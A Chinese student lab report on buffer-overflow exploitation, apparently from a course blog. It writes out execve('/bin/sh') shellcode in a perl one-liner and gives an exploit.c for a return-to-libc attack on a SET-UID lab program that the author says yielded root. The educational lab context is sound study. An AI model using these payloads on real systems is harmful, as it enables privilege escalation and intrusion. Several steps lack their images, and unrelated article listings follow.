20145222《网络对抗》 逆向及BOF进阶实践学习总结

实践目的

  • 1.注入shellcode
  • 2.实现Return-to-libc攻击

知识点学习总结

  • Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起
  • Linux中两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr,缓冲区小就就把shellcode放后边,不然就放前边。
  • Return-to-libc是缓冲区溢出的变体攻击,这种攻击不需要一个栈可以执行,甚至不需要一个shelcode,取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的lib库中的system()函数等)来实现我们的攻击。

过程概述

一、注入shellcode

1.构造shellcode

2.设置堆栈可执行,并查询堆栈是否可执行,以便shellcode在堆栈上可以执行;关闭地址随机化,避免每次执行分配的内存地址不同

3.采取nop+shellcode+retaddr方式构造payload(\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,需要将它改为shellcode的地址)

1)Linux下有两种基本构造攻击buf的方法:

//缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
1.retaddr+nop+shellcode
2.nop+shellcode+retaddr(我采用的是这种)

2)在终端中输入如下:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

4.调试确定该地址

5:通过如下方式寻找需要输入的地址:

6.按照anything+retaddr+nops+shellcode修改input_shellcode,运行成功

Retuen-to-libc实验

一、配置实验环境

二、漏洞程序

1.将漏洞程序保存在/tmp目录下,编译该程序,并设置SET-UID:
2.我们还需要用到一个读取环境变量的程序:

retlib.c代码:

三、攻击程序

1.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

2.用getenvaddr程序获得BIN_SH地址:

3.利用gdb获得system和exit地址:

4.将找到的三个内存地址填写在exploit.c中:

5.删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c:

6.先运行攻击程序exploit,再运行漏洞程序retlib,攻击成功,获得了root权限:

20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结的更多相关文章

  1. 20145222 黄亚奇 《网络对抗》Exp8 Web基础

    20145222 黄亚奇 <网络对抗>Exp8 Web基础 实践具体要求 (1).Web前端HTML(1分) 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法 ...

  2. 20145222黄亚奇《网络对抗》- shellcode注入&Return-to-libc攻击深入

    20145222黄亚奇<网络对抗>- shellcode注入&Return-to-libc攻击深入 shellcode注入实践过程

  3. 20145222黄亚奇《Java程序设计》课程总结

    20145222黄亚奇<JAVA程序设计>课程总结 每周读书笔记链接汇总 第一周读书笔记 第二周读书笔记 第三周读书笔记 第四周读书笔记 第五周读书笔记 第六周读书笔记 第七周读书笔记 第 ...

  4. 20145217《网络对抗》 逆向及BOF进阶实践学习总结

    20145217<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...

  5. 20145222黄亚奇 《网络对抗技术》 MAL_逆向与Bof基础

    学习目的 通过一些方法,使能够运行本不该被运行的代码部分,或得到shell的使用: 将正常运行代码部分某处call后的目标地址,修改为另一部分我们希望执行.却本不应该执行的代码部分首地址(这需要我们有 ...

  6. 20145222黄亚奇《网络对抗》web安全基础实践

    web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 原理:指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语 ...

  7. 20145222黄亚奇《网络对抗》MSF基础应用

    实践目标 掌握metasploit的基本应用方式. 具体需要完成(1)ms08_067;(2)ms11_050:(3)Adobe(4)成功应用任何一个辅助模块. 实验内容 掌握metasploit的基 ...

  8. 20145222黄亚奇《Java程序设计》实验五实验报告

    20145222 <Java程序设计>实验五实验报告 实验内容 1.掌握Socket程序的编写: 2.掌握密码技术的使用: 3.设计安全传输系统. 实验步骤 本次实验我的结对编程对象是20 ...

  9. 20145222黄亚奇《Java程序设计》第10周学习总结

    20145222 <Java程序设计>第10周学习总结 学习总结 网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据.程序员所作的事情就是把数据发送到指定的位置,或者接 ...

随机推荐

  1. 存储过程根据ouID获取IntlPerson数据表

    /****************************************************************************** ** Name: usp_base_Ge ...

  2. cxGrid 隔行换色

    新建一个cxStyleRepository,分别建立几种Styles,如cxgrid_odd,cxgrid_even,cxgrid_selection等,并设置好它们的背景色.字体属性等. 在cxGr ...

  3. MySQL 1067

    今天在云服务器上装mysql的时候,启动突然报了一个“1067 进程意外终止”的错误,这个错误之前是遇到过的,之前因为my.ini配置basedir路径的时候没有正确配置导致了这个错误,但是今天又出现 ...

  4. Spring使用JMS传递消息的两种方式

    方式一:同步收发消息,使用JMS template 消费者阻塞等待消息的到来. 方式二:异步收发消息,使用message listener container 消费者提供一个listener,注册一个 ...

  5. 【转】Mysql的配置文件详解

    [client]port = 3306socket = /tmp/mysql.sock [mysqld]port = 3306socket = /tmp/mysql.sock basedir = /u ...

  6. MySQL前后台交互登录系统设计

    1.首先我们做一个前台的注册页面 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"& ...

  7. 一.MySQL入门基础

    1.关于cmd界面无法启动mysql: 1)必须要使用管理员身份运行cmd程序 2)如果下载MySQL5.7版本的,在windows服务上Mysql的名字默认是MySQL57,因此在cmd运行 net ...

  8. 深入理解CNI

    1.为什么会有CNI? CNI是Container Network Interface的缩写,简单地说,就是一个标准的,通用的接口.已知我们现在有各种各样的容器平台:docker,kubernetes ...

  9. 前端html/css/script基础

    1. 基础模板 <!DOCTYPE html> <html> <head> <meta charert="utf-8" /> < ...

  10. window安装redis数据库

    1.下载安装包 1.百度网盘链接:https://pan.baidu.com/s/1MrAK5Suc1xpzkbp1WQbP0A 提取码:u9uq 2.GitHub:https://github.co ...